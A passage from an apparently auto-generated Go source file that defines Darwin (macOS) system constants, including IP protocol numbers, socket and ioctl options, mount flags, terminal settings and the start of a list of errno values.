IN_CLASSB_MAX = 0x10000 IN_CLASSB_NET = 0xffff0000 IN_CLASSB_NSHIFT = 0x10 IN_CLASSC_HOST = 0xff IN_CLASSC_NET = 0xffffff00 IN_CLASSC_NSHIFT = 0x8 IN_CLASSD_HOST = 0xfffffff IN_CLASSD_NET = 0xf0000000 IN_CLASSD_NSHIFT = 0x1c IN_LINKLOCALNETNUM = 0xa9fe0000 IN_LOOPBACKNET = 0x7f IPPROTO_3PC = 0x22 IPPROTO_ADFS = 0x44 IPPROTO_AH = 0x33 IPPROTO_AHIP = 0x3d IPPROTO_APES = 0x63 IPPROTO_ARGUS = 0xd IPPROTO_AX25 = 0x5d IPPROTO_BHA = 0x31 IPPROTO_BLT = 0x1e IPPROTO_BRSATMON = 0x4c IPPROTO_CFTP = 0x3e IPPROTO_CHAOS = 0x10 IPPROTO_CMTP = 0x26 IPPROTO_CPHB = 0x49 IPPROTO_CPNX = 0x48 IPPROTO_DDP = 0x25 IPPROTO_DGP = 0x56 IPPROTO_DIVERT = 0xfe IPPROTO_DONE = 0x101 IPPROTO_DSTOPTS = 0x3c IPPROTO_EGP = 0x8 IPPROTO_EMCON = 0xe IPPROTO_ENCAP = 0x62 IPPROTO_EON = 0x50 IPPROTO_ESP = 0x32 IPPROTO_ETHERIP = 0x61 IPPROTO_FRAGMENT = 0x2c IPPROTO_GGP = 0x3 IPPROTO_GMTP = 0x64 IPPROTO_GRE = 0x2f IPPROTO_HELLO = 0x3f IPPROTO_HMP = 0x14 IPPROTO_HOPOPTS = 0x0 IPPROTO_ICMP = 0x1 IPPROTO_ICMPV6 = 0x3a IPPROTO_IDP = 0x16 IPPROTO_IDPR = 0x23 IPPROTO_IDRP = 0x2d IPPROTO_IGMP = 0x2 IPPROTO_IGP = 0x55 IPPROTO_IGRP = 0x58 IPPROTO_IL = 0x28 IPPROTO_INLSP = 0x34 IPPROTO_INP = 0x20 IPPROTO_IP = 0x0 IPPROTO_IPCOMP = 0x6c IPPROTO_IPCV = 0x47 IPPROTO_IPEIP = 0x5e IPPROTO_IPIP = 0x4 IPPROTO_IPPC = 0x43 IPPROTO_IPV4 = 0x4 IPPROTO_IPV6 = 0x29 IPPROTO_IRTP = 0x1c IPPROTO_KRYPTOLAN = 0x41 IPPROTO_LARP = 0x5b IPPROTO_LEAF1 = 0x19 IPPROTO_LEAF2 = 0x1a IPPROTO_MAX = 0x100 IPPROTO_MAXID = 0x34 IPPROTO_MEAS = 0x13 IPPROTO_MHRP = 0x30 IPPROTO_MICP = 0x5f IPPROTO_MTP = 0x5c IPPROTO_MUX = 0x12 IPPROTO_ND = 0x4d IPPROTO_NHRP = 0x36 IPPROTO_NONE = 0x3b IPPROTO_NSP = 0x1f IPPROTO_NVPII = 0xb IPPROTO_OSPFIGP = 0x59 IPPROTO_PGM = 0x71 IPPROTO_PIGP = 0x9 IPPROTO_PIM = 0x67 IPPROTO_PRM = 0x15 IPPROTO_PUP = 0xc IPPROTO_PVP = 0x4b IPPROTO_RAW = 0xff IPPROTO_RCCMON = 0xa IPPROTO_RDP = 0x1b IPPROTO_ROUTING = 0x2b IPPROTO_RSVP = 0x2e IPPROTO_RVD = 0x42 IPPROTO_SATEXPAK = 0x40 IPPROTO_SATMON = 0x45 IPPROTO_SCCSP = 0x60 IPPROTO_SCTP = 0x84 IPPROTO_SDRP = 0x2a IPPROTO_SEP = 0x21 IPPROTO_SRPC = 0x5a IPPROTO_ST = 0x7 IPPROTO_SVMTP = 0x52 IPPROTO_SWIPE = 0x35 IPPROTO_TCF = 0x57 IPPROTO_TCP = 0x6 IPPROTO_TP = 0x1d IPPROTO_TPXX = 0x27 IPPROTO_TRUNK1 = 0x17 IPPROTO_TRUNK2 = 0x18 IPPROTO_TTP = 0x54 IPPROTO_UDP = 0x11 IPPROTO_VINES = 0x53 IPPROTO_VISA = 0x46 IPPROTO_VMTP = 0x51 IPPROTO_WBEXPAK = 0x4f IPPROTO_WBMON = 0x4e IPPROTO_WSN = 0x4a IPPROTO_XNET = 0xf IPPROTO_XTP = 0x24 IPV6_2292DSTOPTS = 0x17 IPV6_2292HOPLIMIT = 0x14 IPV6_2292HOPOPTS = 0x16 IPV6_2292NEXTHOP = 0x15 IPV6_2292PKTINFO = 0x13 IPV6_2292PKTOPTIONS = 0x19 IPV6_2292RTHDR = 0x18 IPV6_BINDV6ONLY = 0x1b IPV6_BOUND_IF = 0x7d IPV6_CHECKSUM = 0x1a IPV6_DEFAULT_MULTICAST_HOPS = 0x1 IPV6_DEFAULT_MULTICAST_LOOP = 0x1 IPV6_DEFHLIM = 0x40 IPV6_FAITH = 0x1d IPV6_FLOWINFO_MASK = 0xffffff0f IPV6_FLOWLABEL_MASK = 0xffff0f00 IPV6_FLOW_ECN_MASK = 0x300 IPV6_FRAGTTL = 0x3c IPV6_FW_ADD = 0x1e IPV6_FW_DEL = 0x1f IPV6_FW_FLUSH = 0x20 IPV6_FW_GET = 0x22 IPV6_FW_ZERO = 0x21 IPV6_HLIMDEC = 0x1 IPV6_IPSEC_POLICY = 0x1c IPV6_JOIN_GROUP = 0xc IPV6_LEAVE_GROUP = 0xd IPV6_MAXHLIM = 0xff IPV6_MAXOPTHDR = 0x800 IPV6_MAXPACKET = 0xffff IPV6_MAX_GROUP_SRC_FILTER = 0x200 IPV6_MAX_MEMBERSHIPS = 0xfff IPV6_MAX_SOCK_SRC_FILTER = 0x80 IPV6_MIN_MEMBERSHIPS = 0x1f IPV6_MMTU = 0x500 IPV6_MULTICAST_HOPS = 0xa IPV6_MULTICAST_IF = 0x9 IPV6_MULTICAST_LOOP = 0xb IPV6_PORTRANGE = 0xe IPV6_PORTRANGE_DEFAULT = 0x0 IPV6_PORTRANGE_HIGH = 0x1 IPV6_PORTRANGE_LOW = 0x2 IPV6_RECVTCLASS = 0x23 IPV6_RTHDR_LOOSE = 0x0 IPV6_RTHDR_STRICT = 0x1 IPV6_RTHDR_TYPE_0 = 0x0 IPV6_SOCKOPT_RESERVED1 = 0x3 IPV6_TCLASS = 0x24 IPV6_UNICAST_HOPS = 0x4 IPV6_V6ONLY = 0x1b IPV6_VERSION = 0x60 IPV6_VERSION_MASK = 0xf0 IP_ADD_MEMBERSHIP = 0xc IP_ADD_SOURCE_MEMBERSHIP = 0x46 IP_BLOCK_SOURCE = 0x48 IP_BOUND_IF = 0x19 IP_DEFAULT_MULTICAST_LOOP = 0x1 IP_DEFAULT_MULTICAST_TTL = 0x1 IP_DF = 0x4000 IP_DROP_MEMBERSHIP = 0xd IP_DROP_SOURCE_MEMBERSHIP = 0x47 IP_DUMMYNET_CONFIGURE = 0x3c IP_DUMMYNET_DEL = 0x3d IP_DUMMYNET_FLUSH = 0x3e IP_DUMMYNET_GET = 0x40 IP_FAITH = 0x16 IP_FW_ADD = 0x28 IP_FW_DEL = 0x29 IP_FW_FLUSH = 0x2a IP_FW_GET = 0x2c IP_FW_RESETLOG = 0x2d IP_FW_ZERO = 0x2b IP_HDRINCL = 0x2 IP_IPSEC_POLICY = 0x15 IP_MAXPACKET = 0xffff IP_MAX_GROUP_SRC_FILTER = 0x200 IP_MAX_MEMBERSHIPS = 0xfff IP_MAX_SOCK_MUTE_FILTER = 0x80 IP_MAX_SOCK_SRC_FILTER = 0x80 IP_MF = 0x2000 IP_MIN_MEMBERSHIPS = 0x1f IP_MSFILTER = 0x4a IP_MSS = 0x240 IP_MULTICAST_IF = 0x9 IP_MULTICAST_IFINDEX = 0x42 IP_MULTICAST_LOOP = 0xb IP_MULTICAST_TTL = 0xa IP_MULTICAST_VIF = 0xe IP_NAT__XXX = 0x37 IP_OFFMASK = 0x1fff IP_OLD_FW_ADD = 0x32 IP_OLD_FW_DEL = 0x33 IP_OLD_FW_FLUSH = 0x34 IP_OLD_FW_GET = 0x36 IP_OLD_FW_RESETLOG = 0x38 IP_OLD_FW_ZERO = 0x35 IP_OPTIONS = 0x1 IP_PKTINFO = 0x1a IP_PORTRANGE = 0x13 IP_PORTRANGE_DEFAULT = 0x0 IP_PORTRANGE_HIGH = 0x1 IP_PORTRANGE_LOW = 0x2 IP_RECVDSTADDR = 0x7 IP_RECVIF = 0x14 IP_RECVOPTS = 0x5 IP_RECVPKTINFO = 0x1a IP_RECVRETOPTS = 0x6 IP_RECVTOS = 0x1b IP_RECVTTL = 0x18 IP_RETOPTS = 0x8 IP_RF = 0x8000 IP_RSVP_OFF = 0x10 IP_RSVP_ON = 0xf IP_RSVP_VIF_OFF = 0x12 IP_RSVP_VIF_ON = 0x11 IP_STRIPHDR = 0x17 IP_TOS = 0x3 IP_TRAFFIC_MGT_BACKGROUND = 0x41 IP_TTL = 0x4 IP_UNBLOCK_SOURCE = 0x49 ISIG = 0x80 ISTRIP = 0x20 IUTF8 = 0x4000 IXANY = 0x800 IXOFF = 0x400 IXON = 0x200 KERN_HOSTNAME = 0xa KERN_OSRELEASE = 0x2 KERN_OSTYPE = 0x1 KERN_VERSION = 0x4 LOCK_EX = 0x2 LOCK_NB = 0x4 LOCK_SH = 0x1 LOCK_UN = 0x8 MADV_CAN_REUSE = 0x9 MADV_DONTNEED = 0x4 MADV_FREE = 0x5 MADV_FREE_REUSABLE = 0x7 MADV_FREE_REUSE = 0x8 MADV_NORMAL = 0x0 MADV_PAGEOUT = 0xa MADV_RANDOM = 0x1 MADV_SEQUENTIAL = 0x2 MADV_WILLNEED = 0x3 MADV_ZERO_WIRED_PAGES = 0x6 MAP_ANON = 0x1000 MAP_ANONYMOUS = 0x1000 MAP_COPY = 0x2 MAP_FILE = 0x0 MAP_FIXED = 0x10 MAP_HASSEMAPHORE = 0x200 MAP_JIT = 0x800 MAP_NOCACHE = 0x400 MAP_NOEXTEND = 0x100 MAP_NORESERVE = 0x40 MAP_PRIVATE = 0x2 MAP_RENAME = 0x20 MAP_RESERVED0080 = 0x80 MAP_RESILIENT_CODESIGN = 0x2000 MAP_RESILIENT_MEDIA = 0x4000 MAP_SHARED = 0x1 MCL_CURRENT = 0x1 MCL_FUTURE = 0x2 MNT_ASYNC = 0x40 MNT_AUTOMOUNTED = 0x400000 MNT_CMDFLAGS = 0xf0000 MNT_CPROTECT = 0x80 MNT_DEFWRITE = 0x2000000 MNT_DONTBROWSE = 0x100000 MNT_DOVOLFS = 0x8000 MNT_DWAIT = 0x4 MNT_EXPORTED = 0x100 MNT_FORCE = 0x80000 MNT_IGNORE_OWNERSHIP = 0x200000 MNT_JOURNALED = 0x800000 MNT_LOCAL = 0x1000 MNT_MULTILABEL = 0x4000000 MNT_NOATIME = 0x10000000 MNT_NOBLOCK = 0x20000 MNT_NODEV = 0x10 MNT_NOEXEC = 0x4 MNT_NOSUID = 0x8 MNT_NOUSERXATTR = 0x1000000 MNT_NOWAIT = 0x2 MNT_QUARANTINE = 0x400 MNT_QUOTA = 0x2000 MNT_RDONLY = 0x1 MNT_RELOAD = 0x40000 MNT_ROOTFS = 0x4000 MNT_SYNCHRONOUS = 0x2 MNT_UNION = 0x20 MNT_UNKNOWNPERMISSIONS = 0x200000 MNT_UPDATE = 0x10000 MNT_VISFLAGMASK = 0x17f0f5ff MNT_WAIT = 0x1 MSG_CTRUNC = 0x20 MSG_DONTROUTE = 0x4 MSG_DONTWAIT = 0x80 MSG_EOF = 0x100 MSG_EOR = 0x8 MSG_FLUSH = 0x400 MSG_HAVEMORE = 0x2000 MSG_HOLD = 0x800 MSG_NEEDSA = 0x10000 MSG_OOB = 0x1 MSG_PEEK = 0x2 MSG_RCVMORE = 0x4000 MSG_SEND = 0x1000 MSG_TRUNC = 0x10 MSG_WAITALL = 0x40 MSG_WAITSTREAM = 0x200 MS_ASYNC = 0x1 MS_DEACTIVATE = 0x8 MS_INVALIDATE = 0x2 MS_KILLPAGES = 0x4 MS_SYNC = 0x10 NAME_MAX = 0xff NET_RT_DUMP = 0x1 NET_RT_DUMP2 = 0x7 NET_RT_FLAGS = 0x2 NET_RT_IFLIST = 0x3 NET_RT_IFLIST2 = 0x6 NET_RT_MAXID = 0xa NET_RT_STAT = 0x4 NET_RT_TRASH = 0x5 NL0 = 0x0 NL1 = 0x100 NL2 = 0x200 NL3 = 0x300 NLDLY = 0x300 NOFLSH = 0x80000000 NOKERNINFO = 0x2000000 NOTE_ABSOLUTE = 0x8 NOTE_ATTRIB = 0x8 NOTE_BACKGROUND = 0x40 NOTE_CHILD = 0x4 NOTE_CRITICAL = 0x20 NOTE_DELETE = 0x1 NOTE_EXEC = 0x20000000 NOTE_EXIT = 0x80000000 NOTE_EXITSTATUS = 0x4000000 NOTE_EXIT_CSERROR = 0x40000 NOTE_EXIT_DECRYPTFAIL = 0x10000 NOTE_EXIT_DETAIL = 0x2000000 NOTE_EXIT_DETAIL_MASK = 0x70000 NOTE_EXIT_MEMORY = 0x20000 NOTE_EXIT_REPARENTED = 0x80000 NOTE_EXTEND = 0x4 NOTE_FFAND = 0x40000000 NOTE_FFCOPY = 0xc0000000 NOTE_FFCTRLMASK = 0xc0000000 NOTE_FFLAGSMASK = 0xffffff NOTE_FFNOP = 0x0 NOTE_FFOR = 0x80000000 NOTE_FORK = 0x40000000 NOTE_FUNLOCK = 0x100 NOTE_LEEWAY = 0x10 NOTE_LINK = 0x10 NOTE_LOWAT = 0x1 NOTE_MACH_CONTINUOUS_TIME = 0x80 NOTE_NONE = 0x80 NOTE_NSECONDS = 0x4 NOTE_OOB = 0x2 NOTE_PCTRLMASK = -0x100000 NOTE_PDATAMASK = 0xfffff NOTE_REAP = 0x10000000 NOTE_RENAME = 0x20 NOTE_REVOKE = 0x40 NOTE_SECONDS = 0x1 NOTE_SIGNAL = 0x8000000 NOTE_TRACK = 0x1 NOTE_TRACKERR = 0x2 NOTE_TRIGGER = 0x1000000 NOTE_USECONDS = 0x2 NOTE_VM_ERROR = 0x10000000 NOTE_VM_PRESSURE = 0x80000000 NOTE_VM_PRESSURE_SUDDEN_TERMINATE = 0x20000000 NOTE_VM_PRESSURE_TERMINATE = 0x40000000 NOTE_WRITE = 0x2 OCRNL = 0x10 OFDEL = 0x20000 OFILL = 0x80 ONLCR = 0x2 ONLRET = 0x40 ONOCR = 0x20 ONOEOT = 0x8 OPOST = 0x1 OXTABS = 0x4 O_ACCMODE = 0x3 O_ALERT = 0x20000000 O_APPEND = 0x8 O_ASYNC = 0x40 O_CLOEXEC = 0x1000000 O_CREAT = 0x200 O_DIRECTORY = 0x100000 O_DP_GETRAWENCRYPTED = 0x1 O_DP_GETRAWUNENCRYPTED = 0x2 O_DSYNC = 0x400000 O_EVTONLY = 0x8000 O_EXCL = 0x800 O_EXLOCK = 0x20 O_FSYNC = 0x80 O_NDELAY = 0x4 O_NOCTTY = 0x20000 O_NOFOLLOW = 0x100 O_NONBLOCK = 0x4 O_POPUP = 0x80000000 O_RDONLY = 0x0 O_RDWR = 0x2 O_SHLOCK = 0x10 O_SYMLINK = 0x200000 O_SYNC = 0x80 O_TRUNC = 0x400 O_WRONLY = 0x1 PARENB = 0x1000 PARMRK = 0x8 PARODD = 0x2000 PENDIN = 0x20000000 PRIO_PGRP = 0x1 PRIO_PROCESS = 0x0 PRIO_USER = 0x2 PROT_EXEC = 0x4 PROT_NONE = 0x0 PROT_READ = 0x1 PROT_WRITE = 0x2 PT_ATTACH = 0xa PT_ATTACHEXC = 0xe PT_CONTINUE = 0x7 PT_DENY_ATTACH = 0x1f PT_DETACH = 0xb PT_FIRSTMACH = 0x20 PT_FORCEQUOTA = 0x1e PT_KILL = 0x8 PT_READ_D = 0x2 PT_READ_I = 0x1 PT_READ_U = 0x3 PT_SIGEXC = 0xc PT_STEP = 0x9 PT_THUPDATE = 0xd PT_TRACE_ME = 0x0 PT_WRITE_D = 0x5 PT_WRITE_I = 0x4 PT_WRITE_U = 0x6 RLIMIT_AS = 0x5 RLIMIT_CORE = 0x4 RLIMIT_CPU = 0x0 RLIMIT_CPU_USAGE_MONITOR = 0x2 RLIMIT_DATA = 0x2 RLIMIT_FSIZE = 0x1 RLIMIT_MEMLOCK = 0x6 RLIMIT_NOFILE = 0x8 RLIMIT_NPROC = 0x7 RLIMIT_RSS = 0x5 RLIMIT_STACK = 0x3 RLIM_INFINITY = 0x7fffffffffffffff RTAX_AUTHOR = 0x6 RTAX_BRD = 0x7 RTAX_DST = 0x0 RTAX_GATEWAY = 0x1 RTAX_GENMASK = 0x3 RTAX_IFA = 0x5 RTAX_IFP = 0x4 RTAX_MAX = 0x8 RTAX_NETMASK = 0x2 RTA_AUTHOR = 0x40 RTA_BRD = 0x80 RTA_DST = 0x1 RTA_GATEWAY = 0x2 RTA_GENMASK = 0x8 RTA_IFA = 0x20 RTA_IFP = 0x10 RTA_NETMASK = 0x4 RTF_BLACKHOLE = 0x1000 RTF_BROADCAST = 0x400000 RTF_CLONING = 0x100 RTF_CONDEMNED = 0x2000000 RTF_DELCLONE = 0x80 RTF_DONE = 0x40 RTF_DYNAMIC = 0x10 RTF_GATEWAY = 0x2 RTF_HOST = 0x4 RTF_IFREF = 0x4000000 RTF_IFSCOPE = 0x1000000 RTF_LLINFO = 0x400 RTF_LOCAL = 0x200000 RTF_MODIFIED = 0x20 RTF_MULTICAST = 0x800000 RTF_NOIFREF = 0x2000 RTF_PINNED = 0x100000 RTF_PRCLONING = 0x10000 RTF_PROTO1 = 0x8000 RTF_PROTO2 = 0x4000 RTF_PROTO3 = 0x40000 RTF_PROXY = 0x8000000 RTF_REJECT = 0x8 RTF_ROUTER = 0x10000000 RTF_STATIC = 0x800 RTF_UP = 0x1 RTF_WASCLONED = 0x20000 RTF_XRESOLVE = 0x200 RTM_ADD = 0x1 RTM_CHANGE = 0x3 RTM_DELADDR = 0xd RTM_DELETE = 0x2 RTM_DELMADDR = 0x10 RTM_GET = 0x4 RTM_GET2 = 0x14 RTM_IFINFO = 0xe RTM_IFINFO2 = 0x12 RTM_LOCK = 0x8 RTM_LOSING = 0x5 RTM_MISS = 0x7 RTM_NEWADDR = 0xc RTM_NEWMADDR = 0xf RTM_NEWMADDR2 = 0x13 RTM_OLDADD = 0x9 RTM_OLDDEL = 0xa RTM_REDIRECT = 0x6 RTM_RESOLVE = 0xb RTM_RTTUNIT = 0xf4240 RTM_VERSION = 0x5 RTV_EXPIRE = 0x4 RTV_HOPCOUNT = 0x2 RTV_MTU = 0x1 RTV_RPIPE = 0x8 RTV_RTT = 0x40 RTV_RTTVAR = 0x80 RTV_SPIPE = 0x10 RTV_SSTHRESH = 0x20 RUSAGE_CHILDREN = -0x1 RUSAGE_SELF = 0x0 SCM_CREDS = 0x3 SCM_RIGHTS = 0x1 SCM_TIMESTAMP = 0x2 SCM_TIMESTAMP_MONOTONIC = 0x4 SHUT_RD = 0x0 SHUT_RDWR = 0x2 SHUT_WR = 0x1 SIOCADDMULTI = 0x80206931 SIOCAIFADDR = 0x8040691a SIOCARPIPLL = 0xc0206928 SIOCATMARK = 0x40047307 SIOCAUTOADDR = 0xc0206926 SIOCAUTONETMASK = 0x80206927 SIOCDELMULTI = 0x80206932 SIOCDIFADDR = 0x80206919 SIOCDIFPHYADDR = 0x80206941 SIOCGDRVSPEC = 0xc028697b SIOCGETVLAN = 0xc020697f SIOCGHIWAT = 0x40047301 SIOCGIFADDR = 0xc0206921 SIOCGIFALTMTU = 0xc0206948 SIOCGIFASYNCMAP = 0xc020697c SIOCGIFBOND = 0xc0206947 SIOCGIFBRDADDR = 0xc0206923 SIOCGIFCAP = 0xc020695b SIOCGIFCONF = 0xc00c6924 SIOCGIFDEVMTU = 0xc0206944 SIOCGIFDSTADDR = 0xc0206922 SIOCGIFFLAGS = 0xc0206911 SIOCGIFGENERIC = 0xc020693a SIOCGIFKPI = 0xc0206987 SIOCGIFMAC = 0xc0206982 SIOCGIFMEDIA = 0xc02c6938 SIOCGIFMETRIC = 0xc0206917 SIOCGIFMTU = 0xc0206933 SIOCGIFNETMASK = 0xc0206925 SIOCGIFPDSTADDR = 0xc0206940 SIOCGIFPHYS = 0xc0206935 SIOCGIFPSRCADDR = 0xc020693f SIOCGIFSTATUS = 0xc331693d SIOCGIFVLAN = 0xc020697f SIOCGIFWAKEFLAGS = 0xc0206988 SIOCGLOWAT = 0x40047303 SIOCGPGRP = 0x40047309 SIOCIFCREATE = 0xc0206978 SIOCIFCREATE2 = 0xc020697a SIOCIFDESTROY = 0x80206979 SIOCIFGCLONERS = 0xc0106981 SIOCRSLVMULTI = 0xc010693b SIOCSDRVSPEC = 0x8028697b SIOCSETVLAN = 0x8020697e SIOCSHIWAT = 0x80047300 SIOCSIFADDR = 0x8020690c SIOCSIFALTMTU = 0x80206945 SIOCSIFASYNCMAP = 0x8020697d SIOCSIFBOND = 0x80206946 SIOCSIFBRDADDR = 0x80206913 SIOCSIFCAP = 0x8020695a SIOCSIFDSTADDR = 0x8020690e SIOCSIFFLAGS = 0x80206910 SIOCSIFGENERIC = 0x80206939 SIOCSIFKPI = 0x80206986 SIOCSIFLLADDR = 0x8020693c SIOCSIFMAC = 0x80206983 SIOCSIFMEDIA = 0xc0206937 SIOCSIFMETRIC = 0x80206918 SIOCSIFMTU = 0x80206934 SIOCSIFNETMASK = 0x80206916 SIOCSIFPHYADDR = 0x8040693e SIOCSIFPHYS = 0x80206936 SIOCSIFVLAN = 0x8020697e SIOCSLOWAT = 0x80047302 SIOCSPGRP = 0x80047308 SOCK_DGRAM = 0x2 SOCK_MAXADDRLEN = 0xff SOCK_RAW = 0x3 SOCK_RDM = 0x4 SOCK_SEQPACKET = 0x5 SOCK_STREAM = 0x1 SOL_SOCKET = 0xffff SOMAXCONN = 0x80 SO_ACCEPTCONN = 0x2 SO_BROADCAST = 0x20 SO_DEBUG = 0x1 SO_DONTROUTE = 0x10 SO_DONTTRUNC = 0x2000 SO_ERROR = 0x1007 SO_KEEPALIVE = 0x8 SO_LABEL = 0x1010 SO_LINGER = 0x80 SO_LINGER_SEC = 0x1080 SO_NETSVC_MARKING_LEVEL = 0x1119 SO_NET_SERVICE_TYPE = 0x1116 SO_NKE = 0x1021 SO_NOADDRERR = 0x1023 SO_NOSIGPIPE = 0x1022 SO_NOTIFYCONFLICT = 0x1026 SO_NP_EXTENSIONS = 0x1083 SO_NREAD = 0x1020 SO_NUMRCVPKT = 0x1112 SO_NWRITE = 0x1024 SO_OOBINLINE = 0x100 SO_PEERLABEL = 0x1011 SO_RANDOMPORT = 0x1082 SO_RCVBUF = 0x1002 SO_RCVLOWAT = 0x1004 SO_RCVTIMEO = 0x1006 SO_REUSEADDR = 0x4 SO_REUSEPORT = 0x200 SO_REUSESHAREUID = 0x1025 SO_SNDBUF = 0x1001 SO_SNDLOWAT = 0x1003 SO_SNDTIMEO = 0x1005 SO_TIMESTAMP = 0x400 SO_TIMESTAMP_MONOTONIC = 0x800 SO_TYPE = 0x1008 SO_UPCALLCLOSEWAIT = 0x1027 SO_USELOOPBACK = 0x40 SO_WANTMORE = 0x4000 SO_WANTOOBFLAG = 0x8000 S_IEXEC = 0x40 S_IFBLK = 0x6000 S_IFCHR = 0x2000 S_IFDIR = 0x4000 S_IFIFO = 0x1000 S_IFLNK = 0xa000 S_IFMT = 0xf000 S_IFREG = 0x8000 S_IFSOCK = 0xc000 S_IFWHT = 0xe000 S_IREAD = 0x100 S_IRGRP = 0x20 S_IROTH = 0x4 S_IRUSR = 0x100 S_IRWXG = 0x38 S_IRWXO = 0x7 S_IRWXU = 0x1c0 S_ISGID = 0x400 S_ISTXT = 0x200 S_ISUID = 0x800 S_ISVTX = 0x200 S_IWGRP = 0x10 S_IWOTH = 0x2 S_IWRITE = 0x80 S_IWUSR = 0x80 S_IXGRP = 0x8 S_IXOTH = 0x1 S_IXUSR = 0x40 TAB0 = 0x0 TAB1 = 0x400 TAB2 = 0x800 TAB3 = 0x4 TABDLY = 0xc04 TCIFLUSH = 0x1 TCIOFF = 0x3 TCIOFLUSH = 0x3 TCION = 0x4 TCOFLUSH = 0x2 TCOOFF = 0x1 TCOON = 0x2 TCP_CONNECTIONTIMEOUT = 0x20 TCP_CONNECTION_INFO = 0x106 TCP_ENABLE_ECN = 0x104 TCP_FASTOPEN = 0x105 TCP_KEEPALIVE = 0x10 TCP_KEEPCNT = 0x102 TCP_KEEPINTVL = 0x101 TCP_MAXHLEN = 0x3c TCP_MAXOLEN = 0x28 TCP_MAXSEG = 0x2 TCP_MAXWIN = 0xffff TCP_MAX_SACK = 0x4 TCP_MAX_WINSHIFT = 0xe TCP_MINMSS = 0xd8 TCP_MSS = 0x200 TCP_NODELAY = 0x1 TCP_NOOPT = 0x8 TCP_NOPUSH = 0x4 TCP_NOTSENT_LOWAT = 0x201 TCP_RXT_CONNDROPTIME = 0x80 TCP_RXT_FINDROP = 0x100 TCP_SENDMOREACKS = 0x103 TCSAFLUSH = 0x2 TIOCCBRK = 0x2000747a TIOCCDTR = 0x20007478 TIOCCONS = 0x80047462 TIOCDCDTIMESTAMP = 0x40107458 TIOCDRAIN = 0x2000745e TIOCDSIMICROCODE = 0x20007455 TIOCEXCL = 0x2000740d TIOCEXT = 0x80047460 TIOCFLUSH = 0x80047410 TIOCGDRAINWAIT = 0x40047456 TIOCGETA = 0x40487413 TIOCGETD = 0x4004741a TIOCGPGRP = 0x40047477 TIOCGWINSZ = 0x40087468 TIOCIXOFF = 0x20007480 TIOCIXON = 0x20007481 TIOCMBIC = 0x8004746b TIOCMBIS = 0x8004746c TIOCMGDTRWAIT = 0x4004745a TIOCMGET = 0x4004746a TIOCMODG = 0x40047403 TIOCMODS = 0x80047404 TIOCMSDTRWAIT = 0x8004745b TIOCMSET = 0x8004746d TIOCM_CAR = 0x40 TIOCM_CD = 0x40 TIOCM_CTS = 0x20 TIOCM_DSR = 0x100 TIOCM_DTR = 0x2 TIOCM_LE = 0x1 TIOCM_RI = 0x80 TIOCM_RNG = 0x80 TIOCM_RTS = 0x4 TIOCM_SR = 0x10 TIOCM_ST = 0x8 TIOCNOTTY = 0x20007471 TIOCNXCL = 0x2000740e TIOCOUTQ = 0x40047473 TIOCPKT = 0x80047470 TIOCPKT_DATA = 0x0 TIOCPKT_DOSTOP = 0x20 TIOCPKT_FLUSHREAD = 0x1 TIOCPKT_FLUSHWRITE = 0x2 TIOCPKT_IOCTL = 0x40 TIOCPKT_NOSTOP = 0x10 TIOCPKT_START = 0x8 TIOCPKT_STOP = 0x4 TIOCPTYGNAME = 0x40807453 TIOCPTYGRANT = 0x20007454 TIOCPTYUNLK = 0x20007452 TIOCREMOTE = 0x80047469 TIOCSBRK = 0x2000747b TIOCSCONS = 0x20007463 TIOCSCTTY = 0x20007461 TIOCSDRAINWAIT = 0x80047457 TIOCSDTR = 0x20007479 TIOCSETA = 0x80487414 TIOCSETAF = 0x80487416 TIOCSETAW = 0x80487415 TIOCSETD = 0x8004741b TIOCSIG = 0x2000745f TIOCSPGRP = 0x80047476 TIOCSTART = 0x2000746e TIOCSTAT = 0x20007465 TIOCSTI = 0x80017472 TIOCSTOP = 0x2000746f TIOCSWINSZ = 0x80087467 TIOCTIMESTAMP = 0x40107459 TIOCUCNTL = 0x80047466 TOSTOP = 0x400000 VDISCARD = 0xf VDSUSP = 0xb VEOF = 0x0 VEOL = 0x1 VEOL2 = 0x2 VERASE = 0x3 VINTR = 0x8 VKILL = 0x5 VLNEXT = 0xe VMIN = 0x10 VM_LOADAVG = 0x2 VM_MACHFACTOR = 0x4 VM_MAXID = 0x6 VM_METER = 0x1 VM_SWAPUSAGE = 0x5 VQUIT = 0x9 VREPRINT = 0x6 VSTART = 0xc VSTATUS = 0x12 VSTOP = 0xd VSUSP = 0xa VT0 = 0x0 VT1 = 0x10000 VTDLY = 0x10000 VTIME = 0x11 VWERASE = 0x4 WCONTINUED = 0x10 WCOREFLAG = 0x80 WEXITED = 0x4 WNOHANG = 0x1 WNOWAIT = 0x20 WORDSIZE = 0x40 WSTOPPED = 0x8 WUNTRACED = 0x2 XATTR_CREATE = 0x2 XATTR_NODEFAULT = 0x10 XATTR_NOFOLLOW = 0x1 XATTR_NOSECURITY = 0x8 XATTR_REPLACE = 0x4 XATTR_SHOWCOMPRESSION = 0x20 ) // Errors const ( E2BIG = syscall.Errno(0x7) EACCES = syscall.Errno(0xd) EADDRINUSE = syscall.Errno(0x30) EADDRNOTAVAIL = syscall.Errno(0x31) EAFNOSUPPORT = syscall.Errno(0x2f) EAGAIN = syscall.Errno(0x23) EALREADY = syscall.Errno(0x25) EAUTH = syscall.Errno(0x50) EBADARCH = syscall.Errno(0x56) EBADEXEC = syscall.Errno(0x55) EBADF = syscall.Errno(0x9) EBADMACHO = syscall.Errno(0x58) EBADMSG = syscall.Errno(0x5e) EBADRPC = syscall.Errno(0x48) EBUSY = syscall.Errno(0x10) ECANCELED = syscall.Errno(0x59) ECHILD = syscall.Errno(0xa) ECONNABORTED = syscall.Errno(0x35) ECONNREFUSED = syscall.Errno(0x3d) ECONNRESET = syscall.Errno(0x36) EDEADLK = syscall.Errno(0xb) EDESTADDRREQ = syscall.Errno(0x27) EDEVERR = syscall.Errno(0x53) EDOM = syscall.Errno(0x21) EDQUOT = syscall.Errno(0x45) EEXIST = syscall.Errno(0x11) EFAULT = syscall.Errno(0xe) EFBIG = syscall.Errno(0x1b) EFTYPE = syscall.Errno(0x4f) EHOSTDOWN = syscall.Errno(0x40) EHOSTUNREACH = syscall.Errno(0x41) EIDRM = syscall.Errno(0x5a) EILSEQ = syscall.Errno(0x5c) EINPROGRESS = syscall.Errno(0x24) EINTR = syscall.Errno(0x4) EINVAL = syscall.Errno(0x16) EIO = syscall.Errno(0x5) EISCONN = syscall.Errno(0x38) EISDIR = syscall.Errno(0x15) ELAST = syscall.Errno(0x6a) ELOOP = syscall.Errno(0x3e) EMFILE = syscall.Errno(0x18) EMLINK = syscall.Errno(0x1f) EMSGSIZE = 